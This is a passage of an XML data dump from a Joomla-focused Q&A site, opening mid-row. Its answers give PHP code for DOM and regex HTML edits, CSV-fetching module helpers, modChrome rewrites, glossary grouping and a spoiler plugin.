!= 0 ? ' span' . $bootstrapSize : '';&#xA;&#xA;    // Temporarily store header class in variable&#xA;    $headerClass    = $params-&amp;gt;get('header_class');&#xA;    $headerClass    = ($headerClass) ? ' class=&quot;' . htmlspecialchars($headerClass) . '&quot;' : '';&#xA;&#xA;    if (!empty ($module-&amp;gt;content)) : ?&amp;gt;&#xA;        &amp;lt;&amp;lt;?php echo $moduleTag; ?&amp;gt; class=&quot;moduletable&amp;lt;?php echo htmlspecialchars($params-&amp;gt;get('moduleclass_sfx')) . $moduleClass; ?&amp;gt;&quot; id=&quot;Mod&amp;lt;?php echo $module-&amp;gt;id;?&amp;gt;&quot;&amp;gt;&#xA;            &amp;lt;?php if ((bool) $module-&amp;gt;showtitle) : ?&amp;gt;&#xA;                &amp;lt;?php $com_content_categories = $params-&amp;gt;get('com_content_categories'); if(!empty($com_content_categories)): &#xA;                    $caturl = ContentHelperRoute::getCategoryRoute ( $com_content_categories[0] );&#xA;                ?&amp;gt;&#xA;                &amp;lt;&amp;lt;?php echo $headerTag . $headerClass . '&amp;gt;' ?&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo $caturl;?&amp;gt;&quot;&amp;gt;&amp;lt;?php  echo $module-&amp;gt;title; ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/&amp;lt;?php echo $headerTag; ?&amp;gt;&amp;gt;                                                    &#xA;                &amp;lt;?php else : ?&amp;gt;             &#xA;                &amp;lt;&amp;lt;?php echo $headerTag . $headerClass . '&amp;gt;' . $module-&amp;gt;title; ?&amp;gt;&amp;lt;/&amp;lt;?php echo $headerTag; ?&amp;gt;&amp;gt;                    &#xA;                &amp;lt;? endif;?&amp;gt;&#xA;&#xA;            &amp;lt;?php endif; ?&amp;gt;&amp;lt;?php echo $module-&amp;gt;content; ?&amp;gt;&#xA;        &amp;lt;/&amp;lt;?php echo $moduleTag; ?&amp;gt;&amp;gt;&#xA;    &amp;lt;?php endif; &#xA;}     //////////////////////////////////error line&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13102" LastEditorUserId="13102" LastEditDate="2018-11-28T09:31:37.540" LastActivityDate="2018-11-28T13:32:14.763" Title="0 - Using $this when not in object content" Tags="|php|update|php7|" AnswerCount="1" CommentCount="11" ContentLicense="CC BY-SA 4.0" />
  <row Id="23840" PostTypeId="2" ParentId="10232" CreationDate="2018-11-28T03:56:01.820" Score="1" Body="&lt;p&gt;Using regular expressions to manipulate valid HTML is not advisable because regex is &quot;DOM-unaware&quot; meaning that it doesn't know if it is actually modifying a tag or just text that &lt;em&gt;seems&lt;/em&gt; like a tag.  Also, unless expressly told to replace only once, it will happily modify multiple matching strings (effectively damaging your content).  Finally, using DomDocument is a superior technique because it will intelligently/reliably parse and modify a class attribute regardless of the position of the attribute in the tag and regardless of the character used to quote the value (single or double quotes).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code: (&lt;a href=&quot;https://3v4l.org/o6XkP&quot; rel=&quot;nofollow noreferrer&quot;&gt;PHP Demo&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$new_class = &quot;new_class_attr&quot;;&#xA;&#xA;$body = JFactory::getApplication()-&amp;gt;getBody();&#xA;&#xA;$dom = new DOMDocument; &#xA;$dom-&amp;gt;loadHTML($body, LIBXML_HTML_NOIMPLIED | LIBXML_HTML_NODEFDTD);&#xA;$bodytag = $dom-&amp;gt;getElementsByTagName('body')-&amp;gt;item(0);&#xA;if ($bodytag-&amp;gt;hasAttribute(&quot;class&quot;)) {&#xA;    $new_class = $bodytag-&amp;gt;getAttribute(&quot;class&quot;) . &quot; &quot; . $new_class;&#xA;}&#xA;$bodytag-&amp;gt;setAttribute(&quot;class&quot;, $new_class);&#xA;JFactory::getApplication()-&amp;gt;setBody($dom-&amp;gt;saveHTML());&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;And just in case anyone mistakes my endorsement of DOMDocument for fear of regular expressions, here is how I would code it up using refined regex calls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code: (&lt;a href=&quot;https://3v4l.org/MVHoY&quot; rel=&quot;nofollow noreferrer&quot;&gt;PHP Demo&lt;/a&gt;) (&lt;a href=&quot;https://regex101.com/r/oMFUhr/1&quot; rel=&quot;nofollow noreferrer&quot;&gt;First Regex Demo&lt;/a&gt;) (&lt;a href=&quot;https://regex101.com/r/oMFUhr/2&quot; rel=&quot;nofollow noreferrer&quot;&gt;Second Regex Demo&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$new_class = &quot;new_class_attr&quot;;&#xA;&#xA;$body = JFactory::getApplication()-&amp;gt;getBody();&#xA;&#xA;$body = preg_replace('~&amp;lt;body[^&amp;gt;]*class *= *[&quot;\']\K~', &quot;$new_class &quot;, $body, 1, $count);  // add to existing class attribute&#xA;if (!$count) {&#xA;    $body = preg_replace('~&amp;lt;body\K~', &quot; class=\&quot;$new_class\&quot;&quot;, $body, 1);  // create class with attribute&#xA;}&#xA;JFactory::getApplication()-&amp;gt;setBody($body);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But, again, I don't recommend regex for this job because it will be less stable... Imagine if you had an attribute (and didn't realize it) like &lt;code&gt;specialclass&lt;/code&gt; or &lt;code&gt;data-class&lt;/code&gt;.  So look, let's not go down the tit-for-tat rabbit hole of creating a body string that will break the pattern then adjust the pattern to suit the vulnerability -- just use a DOM parser.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-12-04T00:13:37.697" LastActivityDate="2018-12-04T00:13:37.697" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="23841" PostTypeId="2" ParentId="16384" CreationDate="2018-11-28T04:58:56.687" Score="0" Body="&lt;p&gt;When working with valid HTML, it is generally more stable to use a DOM parser versus regex. (Although in this case, David's solution &lt;em&gt;shouldn't&lt;/em&gt; easily break)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://3v4l.org/HLkAQ&quot; rel=&quot;nofollow noreferrer&quot;&gt;Demo&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$html = /* your HTML string */ ;&#xA;&#xA;libxml_use_internal_errors(true);&#xA;$dom=new DOMDocument; &#xA;$dom-&amp;gt;loadHTML($html, LIBXML_HTML_NOIMPLIED | LIBXML_HTML_NODEFDTD);&#xA;$xpath = new DOMXPath($dom);&#xA;$options = $xpath-&amp;gt;query('//option[@disabled]');&#xA;for ($i = $options-&amp;gt;length; --$i &amp;gt;= 0;) {  // when removing nodes from DOM, work in reverse order for stability&#xA;  $option = $options-&amp;gt;item($i);&#xA;  $trailing_whitespace = $option-&amp;gt;nextSibling;&#xA;  $option-&amp;gt;parentNode-&amp;gt;removeChild($option);&#xA;  $trailing_whitespace-&amp;gt;parentNode-&amp;gt;removeChild($trailing_whitespace);  // optionally remove line returns after removed tags&#xA;}&#xA;&#xA;echo $dom-&amp;gt;saveHTML();  // display the new HTML&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2018-11-28T04:58:56.687" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23842" PostTypeId="2" ParentId="6945" CreationDate="2018-11-28T05:41:18.260" Score="2" Body="&lt;p&gt;There are some &lt;em&gt;grey&lt;/em&gt; details in your question, so I'll post a solution what I &lt;em&gt;think&lt;/em&gt; will do as you desire using DOMDocument and a direct XPath query.  Because your question appears to only have one generated element, and you need to remove one or more unwanted elements, my solution will remove every unwanted element except for the first, then replace the first unwanted element with the created element.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The loop will be iterating all &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; tags that contain class values: &lt;code&gt;product-field&lt;/code&gt; and &lt;code&gt;product-field-type-R&lt;/code&gt; AND have a direct parent &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; that contains a class value of &lt;code&gt;product-fields&lt;/code&gt;.  &lt;code&gt;contains&lt;/code&gt; provides increased flexibility because it will not break if new class values are added.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code: (&lt;a href=&quot;https://3v4l.org/guEQL&quot; rel=&quot;nofollow noreferrer&quot;&gt;Demo&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$html = /* your valid incoming html */;&#xA;$getRelatedProduct = &quot;Flashy, shiny, new&quot;;&#xA;&#xA;libxml_use_internal_errors(true);&#xA;$dom = new DOMDocument; &#xA;$dom-&amp;gt;loadHTML($html, LIBXML_HTML_NOIMPLIED | LIBXML_HTML_NODEFDTD);&#xA;$element = $dom-&amp;gt;createElement('div', $getRelatedProduct);&#xA;&#xA;$xpath = new DOMXPath($dom);&#xA;$nodes = $xpath-&amp;gt;query(&quot;//div[contains(@class, 'product-fields')]/div[contains(@class, 'product-field') and contains(@class, 'product-field-type-R')]&quot;);&#xA;for ($i = $nodes-&amp;gt;length - 1; $i &amp;gt;= 0; --$i) {  // when removing nodes from DOM, work in reverse order for stability&#xA;    $node = $nodes-&amp;gt;item($i);&#xA;    if ($i) { &#xA;        //$trailing_whitespace = $node-&amp;gt;nextSibling;&#xA;        $node-&amp;gt;parentNode-&amp;gt;removeChild($node);    // remove any qualifying element that IS NOT the first element&#xA;        //$trailing_whitespace-&amp;gt;parentNode-&amp;gt;removeChild($trailing_whitespace);  // optionally remove line returns after removed tags&#xA;    } else {&#xA;        $node-&amp;gt;parentNode-&amp;gt;replaceChild($element, $node);  // replace the first element with the generated element&#xA;    }&#xA;}&#xA;&#xA;echo $dom-&amp;gt;saveHTML();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using DomDocument &amp;amp; XPath makes this solution more robust than regex because even if the 3rd parties decide to restructure the class attribute values, the desired elements will still be matched.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-11-28T21:18:53.760" LastActivityDate="2018-11-28T21:18:53.760" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23843" PostTypeId="2" ParentId="23833" CreationDate="2018-11-28T09:16:55.603" Score="0" Body="&lt;p&gt;Start by reading &lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_a_simple_module/Developing_a_Basic_Module&quot; rel=&quot;nofollow noreferrer&quot;&gt;Developing a Basic Module&lt;/a&gt; documentation to familiarize with module structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming you don't need AJAX updates, helper function like this would work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\Filesystem\File;&#xA;use Joomla\CMS\Http\HttpFactory;&#xA;use Joomla\Registry\Registry;&#xA;&#xA;class ModExampleHelper&#xA;{&#xA;    public static function getData($params)&#xA;    {&#xA;        // Source URL not set.&#xA;        if (!$params-&amp;gt;get('url'))&#xA;        {&#xA;            return array();&#xA;        }&#xA;&#xA;        $file = JPATH_ADMINISTRATOR . '/cache/mod_example/' . md5($params-&amp;gt;get('url'));&#xA;&#xA;        // File exists and is fresh.&#xA;        if (File::exists($file) &amp;amp;&amp;amp; filemtime($file) &amp;gt; microtime(true) - $params-&amp;gt;get('refreshInterval', 60))&#xA;        {&#xA;            return json_decode(file_get_contents($file));&#xA;        }&#xA;&#xA;        // Some servers may block requests without user agent.&#xA;        $options  = $params-&amp;gt;get('userAgent') ? new Registry(array('userAgent' =&amp;gt; $params-&amp;gt;get('userAgent'))) : null;&#xA;&#xA;        // Retrieve the data.&#xA;        $response = HttpFactory::getHttp($options)-&amp;gt;get($params-&amp;gt;get('url'));&#xA;&#xA;        // Check that response is valid.&#xA;        if ($response-&amp;gt;code === 200 &amp;amp;&amp;amp; $response-&amp;gt;body)&#xA;        {&#xA;            // Save data based on CSV structure. This could be configurable.&#xA;            foreach ($data = str_getcsv($response-&amp;gt;body, &quot;\n&quot;) as $key =&amp;gt; $row)&#xA;            {&#xA;                $data[$key] = str_getcsv($row, ';');&#xA;            }&#xA;&#xA;            // Save new data to file.&#xA;            File::write($file, json_encode($data));&#xA;&#xA;            return $data;&#xA;        }&#xA;&#xA;        // Retrieving data failed, return data from old file.&#xA;        if (File::exists($file))&#xA;        {&#xA;            return json_decode(file_get_contents($file));&#xA;        }&#xA;&#xA;        return array();&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Call the function in main file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data = ModExampleHelper::getData($params);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And display the table in the template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;table class=&quot;table&quot;&amp;gt;&#xA;    &amp;lt;?php foreach($data as $row) : ?&amp;gt;&#xA;        &amp;lt;tr&amp;gt;&#xA;            &amp;lt;?php foreach($row as $cell) : ?&amp;gt;&#xA;                &amp;lt;td&amp;gt;&amp;lt;?php echo $cell; ?&amp;gt;&amp;lt;/td&amp;gt;&#xA;            &amp;lt;?php endforeach; ?&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;?php endforeach; ?&amp;gt;&#xA;&amp;lt;/table&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2018-11-28T09:16:55.603" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23844" PostTypeId="2" ParentId="23838" CreationDate="2018-11-28T13:24:46.070" Score="1" Body="&lt;p&gt;Don't quote me on this but I have a feeling it may be due to the mixing of curly braces and alternative syntax.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've rewritten your modChrome using curly braces:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function modChrome_myCatMod($module, &amp;amp;$params, &amp;amp;$attribs)&#xA;{&#xA;    $moduleTag      = $params-&amp;gt;get('module_tag', 'div');&#xA;    $headerTag      = htmlspecialchars($params-&amp;gt;get('header_tag', 'h3'));&#xA;    $bootstrapSize  = (int) $params-&amp;gt;get('bootstrap_size', 0);&#xA;    $moduleClass    = $bootstrapSize != 0 ? ' span' . $bootstrapSize : '';&#xA;&#xA;    // Temporarily store header class in variable&#xA;    $headerClass    = $params-&amp;gt;get('header_class');&#xA;    $headerClass    = ($headerClass) ? ' class=&quot;' . htmlspecialchars($headerClass) . '&quot;' : '';&#xA;&#xA;    if (!empty ($module-&amp;gt;content))&#xA;    {&#xA;        echo '&amp;lt;' . $moduleTag . ' class=&quot;moduletable' . htmlspecialchars($params-&amp;gt;get('moduleclass_sfx')) . $moduleClass . '&quot; id=&quot;Mod' . $module-&amp;gt;id . '&quot;&amp;gt;';&#xA;            if ((bool) $module-&amp;gt;showtitle)&#xA;            {&#xA;                $com_content_categories = $params-&amp;gt;get('com_content_categories');&#xA;&#xA;                if (!empty($com_content_categories))&#xA;                {&#xA;                    $caturl = ContentHelperRoute::getCategoryRoute($com_content_categories[0]);&#xA;                    echo '&amp;lt;' . $headerTag . $headerClass . '&amp;gt;&amp;lt;a href=&quot;' . $caturl . '&quot;&amp;gt;' . $module-&amp;gt;title . '&amp;lt;/a&amp;gt;&amp;lt;/' . $headerTag . '&amp;gt;';&#xA;                }&#xA;                else&#xA;                {&#xA;                    echo '&amp;lt;' . $headerTag . $headerClass . '&amp;gt;' . $module-&amp;gt;title . '&amp;lt;/' . $headerTag . '&amp;gt;';&#xA;                }&#xA;&#xA;                }&#xA;            echo $module-&amp;gt;content;&#xA;        echo '&amp;lt;/' . $moduleTag . '&amp;gt;';&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this solves the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, if you have not provided the entire contents of this file in your question, I'd suggest doing so as the error may actually derive from a different line.&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2018-11-28T13:32:14.763" LastActivityDate="2018-11-28T13:32:14.763" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23849" PostTypeId="2" ParentId="21830" CreationDate="2018-11-29T22:45:27.147" Score="0" Body="&lt;p&gt;The plugin Login Limiter will do the job.&#xA;&lt;a href=&quot;https://www.innato.nl/index.php?option=com_content&amp;amp;view=article&amp;amp;id=17&amp;amp;catid=11&amp;amp;Itemid=121#plugin_login_limiter_j30&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.innato.nl/index.php?option=com_content&amp;amp;view=article&amp;amp;id=17&amp;amp;catid=11&amp;amp;Itemid=121#plugin_login_limiter_j30&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9885" LastActivityDate="2018-11-29T22:45:27.147" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23850" PostTypeId="2" ParentId="17794" CreationDate="2018-11-30T00:09:55.010" Score="0" Body="&lt;p&gt;Your task seems to desire a maximum of 27 characters in the &lt;code&gt;glossary-nav&lt;/code&gt; container. For this reason, I feel the simplest way to way to generate this array of data is with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$groups = array_fill_keys(array_merge(range('a','z'), ['other']), []);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Upon closer inspection of your snippet, I discovered that your &lt;code&gt;for&lt;/code&gt; loop was not including the &lt;code&gt;z&lt;/code&gt; letter -- a rather unfortunate and sneaky bug in that technique.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Next, you don't need to translate the entire title, nor do you need to translate lowercase AND uppercase characters.  It will lead to less code bloat if you extract the first (potentialy multibyte) character, convert it to lowercase, then attempt to translate it to Latin before assigning the whole item object to its appropriate group.  I will offer a basic translation array, but you may with to extend it with characters that you expect to encounter and declare the appropriate translation.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$translate = [&#xA;    'à' =&amp;gt; 'a', 'á' =&amp;gt; 'a', 'ả' =&amp;gt; 'a', 'ạ' =&amp;gt; 'a', 'ã' =&amp;gt; 'a', 'â' =&amp;gt; 'a', 'ầ' =&amp;gt; 'a', 'ấ' =&amp;gt; 'a', 'ẩ' =&amp;gt; 'a', 'ậ' =&amp;gt; 'a',     'ẫ' =&amp;gt; 'a', 'ă' =&amp;gt; 'a', 'ằ' =&amp;gt; 'a', 'ắ' =&amp;gt; 'a', 'ẳ' =&amp;gt; 'a', 'ặ' =&amp;gt; 'a', 'ẵ' =&amp;gt; 'a', 'ä' =&amp;gt; 'a', 'å' =&amp;gt; 'a', 'æ' =&amp;gt; 'a',&#xA;    'đ' =&amp;gt; 'd',&#xA;    'è' =&amp;gt; 'e', 'é' =&amp;gt; 'e', 'ẻ' =&amp;gt; 'e', 'ẹ' =&amp;gt; 'e', 'ẽ' =&amp;gt; 'e', 'ê' =&amp;gt; 'e', 'ề' =&amp;gt; 'e', 'ế' =&amp;gt; 'e', 'ể' =&amp;gt; 'e', 'ệ' =&amp;gt; 'e', 'ễ' =&amp;gt; 'e', 'ë' =&amp;gt; 'e',&#xA;    'ì' =&amp;gt; 'i', 'í' =&amp;gt; 'i', 'ỉ' =&amp;gt; 'i', 'ị' =&amp;gt; 'i', 'ĩ' =&amp;gt; 'i', 'î' =&amp;gt; 'i', 'ï' =&amp;gt; 'i',&#xA;    'ò' =&amp;gt; 'o', 'ó' =&amp;gt; 'o', 'ỏ' =&amp;gt; 'o', 'ọ' =&amp;gt; 'o', 'õ' =&amp;gt; 'o', 'ô' =&amp;gt; 'o', 'ồ' =&amp;gt; 'o', 'ố' =&amp;gt; 'o', 'ổ' =&amp;gt; 'o', 'ộ' =&amp;gt; 'o', 'ỗ' =&amp;gt; 'o', 'ö' =&amp;gt; 'o', 'ø' =&amp;gt; 'o',&#xA;    'ù' =&amp;gt; 'u', 'ú' =&amp;gt; 'u', 'û' =&amp;gt; 'u', 'ũ' =&amp;gt; 'u', 'ü' =&amp;gt; 'u', 'ů' =&amp;gt; 'u', 'ủ' =&amp;gt; 'u', 'ụ' =&amp;gt; 'u', 'ư' =&amp;gt; 'u', 'ứ' =&amp;gt; 'u', 'ừ' =&amp;gt; 'u', 'ữ' =&amp;gt; 'u', 'ử' =&amp;gt; 'u', 'ự' =&amp;gt; 'u',&#xA;    'ć' =&amp;gt; 'c', 'ĉ' =&amp;gt; 'c', 'ç' =&amp;gt; 'c', 'ç' =&amp;gt; 'c',&#xA;    'ñ' =&amp;gt; 'n',&#xA;    'ý' =&amp;gt; 'y', 'ỳ' =&amp;gt; 'y', 'ỷ' =&amp;gt; 'y', 'ỵ' =&amp;gt; 'y', 'ỹ' =&amp;gt; 'y', 'ŷ' =&amp;gt; 'y', 'ÿ' =&amp;gt; 'y'&#xA;];&#xA;&#xA;foreach ($items as $item) {&#xA;    $first = strtr(mb_strtolower(mb_substr($item-&amp;gt;title, 0, 1, &quot;UTF-8&quot;), &quot;UTF-8&quot;), $translate);&#xA;    if (isset($groups[$first])) {&#xA;        $groups[$first] = $item;&#xA;    } else {&#xA;        $groups['other'] = $item;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Here's a demonstration of my above suggestions: &lt;a href=&quot;https://3v4l.org/AIAl1&quot; rel=&quot;nofollow noreferrer&quot;&gt;Demo&lt;/a&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I have worked with multi-byte strings before, here are some of my related posts on Stackoverflow:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/a/52014677/2943403&quot;&gt;https://stackoverflow.com/a/52014677/2943403&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/a/42464571/2943403&quot;&gt;https://stackoverflow.com/a/42464571/2943403&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/a/49923894/2943403&quot;&gt;https://stackoverflow.com/a/49923894/2943403&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In the end, if you are still having translation issues, this may be an encoding issue that should be solved by &lt;a href=&quot;https://stackoverflow.com/q/279170/2943403&quot;&gt;UTF-8 All The Way Through&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an aside, if you want to check if a group &quot;is empty or not&quot; (and you know that the element &lt;code&gt;isset()&lt;/code&gt;) you can simply check with &lt;code&gt;if ($group_items) {&lt;/code&gt; instead of &lt;code&gt;if(count($group_items)) {&lt;/code&gt;.  This will spare the iterated &lt;code&gt;count()&lt;/code&gt; function calls and deliver the same evaluation.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-07-07T22:54:33.597" LastActivityDate="2019-07-07T22:54:33.597" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23851" PostTypeId="2" ParentId="23833" CreationDate="2018-11-30T09:26:08.200" Score="0" Body="&lt;p&gt;From a quick search on the Joomla Extensions Directory, there are at least a couple of extensions that look like they will display information from an external CSV source:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/tabulizer&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tabulizer&lt;/a&gt;&lt;/strong&gt; (from €24)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;Tabulizer provides all the functionality to read data from various&#xA;  sources (typed plain text, Excel and CSV files, Web/HTML pages, RSS&#xA;  Feeds, Database Queries/Tables) and present them in various formats,&#xA;  such as responsive tables, graphs, charts, galleries, event calendars,&#xA;  etc&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/ari-data-tables&quot; rel=&quot;nofollow noreferrer&quot;&gt;ARI Data Tables&lt;/a&gt;&lt;/strong&gt; ($15)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;Can load data from CSV files (can load remote CSV files)&quot;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&quot;Provide possibility to render plain HTML table based on data from CSV&#xA;  file or database. Display of this table can be customized with help&#xA;  CSS&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Unfortunately neither of these are free but they are probably quite affordable compared to the time it would take to code your own solution.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2018-11-30T09:26:08.200" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23852" PostTypeId="2" ParentId="7316" CreationDate="2018-11-30T10:35:59.143" Score="0" Body="&lt;p&gt;Honestly, the &lt;code&gt;preg_match()&lt;/code&gt; condition block should be removed entirely.  You can just use &lt;code&gt;!preg_match_all()&lt;/code&gt; to perform your early &lt;code&gt;return&lt;/code&gt;.  &lt;code&gt;PREG_PATTERN_ORDER&lt;/code&gt; can be omitted because it is the default flag value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your &lt;code&gt;$this-&amp;gt;params-&amp;gt;get()&lt;/code&gt; lines shouldn't be declared in the loop because they will only overwrite the variables with the same data (over and over).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instantiating &lt;code&gt;$html&lt;/code&gt; should be done prior to entering the loop so that you don't inadvertently delete the previous iteration's text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;m&lt;/code&gt; and &lt;code&gt;s&lt;/code&gt; pattern modifiers in your &lt;code&gt;$spoiler&lt;/code&gt; replacement call is unnecessary because you don't have any anchors (&lt;code&gt;^&lt;/code&gt; or &lt;code&gt;$&lt;/code&gt;) or dots (&lt;code&gt;.&lt;/code&gt;) in your pattern.  I'm not really sure of the coding intent behind purging all of the inner &lt;code&gt;&amp;lt;span&amp;gt;&lt;/code&gt; tags, but I'll just follow your posted code.  (your &lt;code&gt;preg_replace(&quot;@{spoiler}&quot;.$match.&quot;{/spoiler}@sU&quot;&lt;/code&gt; pattern &lt;em&gt;could have&lt;/em&gt; contained special characters that would cause the regex engine to fail.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After further consideration, I reckon I'd omit the &lt;code&gt;preg_match_all()&lt;/code&gt; and looping task entirely.  &lt;code&gt;preg_replace_callback()&lt;/code&gt; can do everything in one step.  &lt;a href=&quot;https://3v4l.org/Ioknn&quot; rel=&quot;nofollow noreferrer&quot;&gt;Demo&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The heredoc syntax seemed to be more trouble than it is worth for you, I'll swap them out for double-quoted string declarations.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function onContentPrepare($context, &amp;amp;$article, &amp;amp;$params, $limitstart)&#xA;{&#xA;    $article-&amp;gt;text = preg_replace_callback('~{spoiler}(.*?){/spoiler}~s', &#xA;        function($m) {&#xA;            return '&amp;lt;span class=&quot;spoiler&quot;&amp;gt;' .&#xA;                   preg_replace('~&amp;lt;/?span[^&amp;gt;]*&amp;gt;~i', '', $m[1]) .&#xA;                   '&amp;lt;/span&amp;gt;';&#xA;        }, $article-&amp;gt;text, -1, $count);&#xA;&#xA;    if (!$count) return;&#xA;&#xA;    $document = JFactory::getDocument();&#xA;&#xA;    $bgcolor            = $this-&amp;gt;params-&amp;gt;get('bgcolor');&#xA;    $fontcolor          = $this-&amp;gt;params-&amp;gt;get('fontcolor');&#xA;    $padding_top_bottom = $this-&amp;gt;params-&amp;gt;get('padding_top_bottom');&#xA;    $padding_left_right = $this-&amp;gt;params-&amp;gt;get('padding_left_right');&#xA;    $border_radius      = $this-&amp;gt;params-&amp;gt;get('border_radius');&#xA;    $anim_speed         = $this-&amp;gt;params-&amp;gt;get('anim_speed');&#xA;&#xA;    $css = &quot;a.reveal {\n&#xA;              background: {$bgcolor} !important;\n&#xA;              padding: {$padding_top_bottom)px {$padding_left_right}px !important;\n&#xA;              border-radius: {$border_radius}px !important;\n&#xA;              box-shadow: 0 0 25px #111;\n&#xA;              -webkit-box-shadow: 0 0 25px #111;\n&#xA;              -moz-box-shadow: 0 0 25px #111;\n&#xA;              color: {$fontcolor} !important;\n&#xA;            }\n&quot;;&#xA;    $document-&amp;gt;addStyleDeclaration($css);&#xA;&#xA;    JHtml::_('jquery.framework');           &#xA;    JHtml::_('script', 'easyspoiler/js/easyspoiler.js', false, true, false, false, true);           &#xA;    $js = &quot;jQuery(document).ready(function() {\n&#xA;                jQuery(document.body).EasySpoiler({\n&#xA;                    'anim_speed': '{$anim_speed}'\n&#xA;                });\n&#xA;            });\n&quot;;&#xA;    $document-&amp;gt;addScriptDeclaration($js);                               &#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2018-11-30T10:35:59.143" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
